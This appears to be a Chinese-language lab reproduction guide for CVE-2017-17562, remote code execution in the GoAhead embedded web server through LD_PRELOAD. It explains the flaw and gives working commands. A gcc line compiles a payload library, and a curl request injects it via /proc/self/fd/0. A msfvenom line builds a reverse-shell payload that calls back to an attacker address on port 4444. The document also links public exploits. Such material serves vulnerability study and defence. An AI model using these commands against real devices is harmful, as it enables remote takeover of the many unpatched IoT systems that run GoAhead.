GoAhead Web 服务器 HTTPd ‘LD_PRELOAD’ 远程代码执行 (CVE-2017-17562)
Embedthis GoAhead 是世界上最流行的微型嵌入式 Web 服务器,部署在数亿台设备中,是最小嵌入式设备的理想选择。
如果启用 CGI 并且动态链接 CGI 程序,则 3.6.5 之前的 GoAhead 允许远程代码执行。这是在cgi.c
. 当与 glibc 动态链接器结合使用时,这种行为可能会被滥用用于使用特殊参数名称的远程代码执行,例如LD_PRELOAD
. 攻击者可以在请求正文中发布他们的共享对象负载,并使用 /proc/self/fd/0 引用它。
参考:
- https://www.elttam.com.au/blog/goahead/
- https://www.exploit-db.com/exploits/43360
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/goahead_ldpreload.rb
漏洞复现
然后,您可以看到欢迎页面在http://192.168.44.132:8080
,CGI 脚本在http://192.168.44.132:8080/cgi-bin/index
处可用。
首先,将这段劫持代码编译成动态共享库:
1 |
|
请注意,由于 GoAhead 是运行在几乎所有可能的 IoT 设备上的紧凑型嵌入式 Web 服务器,因此动态共享库的格式始终取决于目标服务器架构。在现实世界中,虽然 Vulhub 可以向您展示一个最简单的示例,但编译漏洞并不像本手册所建议的那么容易。
在 x86/64 环境下编译:
1 | gcc -shared -fPIC ./payload.c -o payload.so |
使用 curl 触发攻击:
1 | curl -X POST --data-binary @payload.so "http://192.168.44.132:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i |
Hello: world!
打印响应头以指示代码已执行:
可以编译反弹shell,poc:
https://github.com/ivanitlearning/CVE-2017-17562
执行
1 | > msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.49.2 LPORT=4444 -f elf-so -o payload.so |